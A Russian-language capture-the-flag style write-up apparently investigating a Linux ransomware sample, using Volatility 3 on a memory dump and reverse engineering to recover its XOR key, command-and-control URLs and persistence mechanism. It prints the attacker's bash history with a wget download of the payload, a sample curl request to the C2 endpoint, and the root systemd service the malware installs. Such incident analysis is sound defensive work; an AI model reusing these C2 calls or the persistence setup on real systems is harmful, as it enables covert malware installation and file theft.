Видео-версия
Все новые прохождения появляются сначала на канале t.me/kiberdruzhinnik. Подпишись, чтобы не пропускать новые!
Исследование
Распакуем полученные файлы и начнем исследование файла-шифровальщика ubuntu-client
.
Посчитаем MD5 хеш-сумму файла:
$ md5sum ubuntu-client
a2444b61b65be96fc2e65924dee8febd ubuntu-client
Смотрим дамп памяти
Установим Volatility 3, чтобы исследовать дампы памяти.
Проверим, что за ядро используется:
$ python3 vol.py -f ubuntu-client-Snapshot2.vmem banners
Volatility 3 Framework 2.7.1
Progress: 100.00 PDB scanning finished
Offset Banner
0x32857fa8 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)
0x600001a0 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)
0x61b9de54 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)
Мы знаем, что это Ubuntu с ядром 5.4.0-163-generic
. Заберем нужный профиль с символами с гитхаба https://github.com/Abyss-W4tcher/volatility3-symbols/blob/master/Ubuntu/amd64/5.4.0/163/generic/Ubuntu_5.4.0-163-generic_5.4.0-163.180_amd64.json.xz.
Полученные символы положим в каталог volatility3/symbols/linux
.
Теперь можем посмотреть в историю bash команд:
$ python3 vol.py -f ubuntu-client-Snapshot2.vmem linux.bash
Volatility 3 Framework 2.7.1
Progress: 100.00 Stacking attempts finished
PID Process CommandTime Command
636 bash 2024-06-03 10:49:04.000000 passwd
636 bash 2024-06-03 10:49:04.000000 apt update
636 bash 2024-06-03 10:49:04.000000 apt install cloud-init cloud-initramfs-growroot openssh-server open-vm-tools
636 bash 2024-06-03 10:49:04.000000 shutdown now
636 bash 2024-06-03 10:49:04.000000 apt upgrade
636 bash 2024-06-03 10:49:09.000000 passwd
636 bash 2024-06-03 10:49:32.000000 ��V
636 bash 2024-06-03 10:49:32.000000 nano /etc/ssh/sshd_config
636 bash 2024-06-03 10:50:23.000000 systemctl start ssh
636 bash 2024-06-03 10:50:30.000000 ip a
636 bash 2024-06-03 10:51:41.000000 nano /etc/ssh/sshd_config
636 bash 2024-06-03 10:53:22.000000 systemctl restart shh
636 bash 2024-06-03 10:53:29.000000 sudo
636 bash 2024-06-03 10:53:29.000000 systemctl restart ssh
636 bash 2024-06-03 11:21:30.000000 ls
636 bash 2024-06-03 15:31:03.000000 sudo apt-get install apache2
636 bash 2024-06-03 15:31:22.000000 sudo apt-get update
636 bash 2024-06-03 15:31:25.000000 sudo apt-get update
636 bash 2024-06-03 15:31:25.000000 sudo apt-get install apache2 --fix-missing
636 bash 2024-06-03 15:31:36.000000 sudo apt-get install apache2 --fix-missing
636 bash 2024-06-03 15:32:05.000000 nano note.txt
636 bash 2024-06-03 15:32:27.000000 ls
636 bash 2024-06-03 15:32:44.000000 ./ubuntu-client xGonnaGiveIt2Ya
636 bash 2024-06-03 15:33:27.000000 sudo apt-get install libssl3-dev
636 bash 2024-06-03 15:34:45.000000 sudo apt-get update
636 bash 2024-06-03 15:35:54.000000 sudo apt-get install libssl-dev
636 bash 2024-06-03 15:36:00.000000 ./ubuntu-client xGonnaGiveIt2Ya
636 bash 2024-06-03 15:36:22.000000 sudo apt-get upgrade -y
636 bash 2024-06-03 15:40:24.000000 ./ubuntu-client xGonnaGiveIt2Ya
636 bash 2024-06-03 15:50:54.000000 ls
636 bash 2024-06-03 15:50:57.000000 rm ubuntu-client
636 bash 2024-06-03 15:51:02.000000 ��~V
636 bash 2024-06-03 15:51:02.000000
636 bash 2024-06-03 15:51:02.000000 ip a
22683 bash 2024-06-03 15:51:25.000000 apt update
22683 bash 2024-06-03 15:51:25.000000 passwd
22683 bash 2024-06-03 15:51:25.000000 apt install cloud-init cloud-initramfs-growroot openssh-server open-vm-tools
22683 bash 2024-06-03 15:51:25.000000 chmod +x ubuntu-client
22683 bash 2024-06-03 15:51:25.000000 shutdown now
22683 bash 2024-06-03 15:51:25.000000 apt upgrade
22683 bash 2024-06-03 15:51:25.000000 mkdir /share
22683 bash 2024-06-03 15:51:25.000000 ./ubuntu-client
22683 bash 2024-06-03 15:51:25.000000 mdkir /share
22683 bash 2024-06-03 15:51:25.000000 wget http://10.10.0.70:8123/ubuntu-client
22683 bash 2024-06-03 15:51:25.000000 ls
22683 bash 2024-06-03 15:51:25.000000 ls
22683 bash 2024-06-03 15:51:25.000000 wget http://10.10.0.70:8000/ubuntu-client
22683 bash 2024-06-03 15:51:26.000000 ls
22683 bash 2024-06-03 15:51:38.000000 ./ubuntu-client xGonnaGiveIt2Ya
22683 bash 2024-06-03 15:54:24.000000 sudo apt-get install libcjson-dev
22683 bash 2024-06-03 15:54:31.000000 ./ubuntu-client xGonnaGiveIt2Ya
Отсюда находим строку xGonnaGiveIt2Ya
, которая используется в качестве входной строки для XOR.
Реверсим бинарник
Для расшифровки ссылки используется полученная выше XOR-строка, метод шифрования простой:
На Debian 12 нужно установить libssl.so.1.1
для динамического анализа:
wget http://nz2.archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2.22_amd64.deb
sudo dpkg -i libssl1.1_1.1.1f-1ubuntu2.22_amd64.deb
В параметры процесса пропишем XOR-ключ:
Отсюда пытаемся достать ссылку на сервер:
Так же отсюда достаем параметры для JSON:
https://plankton-app-3qigq.ondigitalocean.app/connect
Пример такого запроса:
curl --header "Content-Type: application/json" --data '{"passphrase": "sebh24", "hostname": "vm"}' https://plankton-app-3qigq.ondigitalocean.app/connect
Чтобы проскочить в функцию шифрования, нужно создать каталог /share
, а внутри него файл с любым из расширений из списка:
Я создал /share/test.txt
:
sudo mkdir /share
echo test | sudo tee /share/test.txt
sudo chown 1000:1000 -R /share
Загружается файл вот по такому адресу:
Для ответа нужно вписать endpoint: https://plankton-app-3qigq.ondigitalocean.app/upload/
.
Функция создания файлов автозапуска:
Создается файл /usr/bin/ubuntu-run
со своей копией.
Далее создается файл /etc/systemd/system/ubuntu_running.service
с содержимым:
[Unit]
Description=Ubuntu Running
After=network.target
[Service]
ExecStart=/usr/bin/ubuntu-run xGonnaGiveIt2Ya
Restart=always
User=root
[Install]
WantedBy=multi-user.target
И перезапускается созданный сервис:
systemctl daemon-reload && systemctl enable ubuntu_running.service && systemctl start ubuntu_running.service
Мы можем идентифицировать эту технику как T1037.005 - https://attack.mitre.org/techniques/T1037/005/.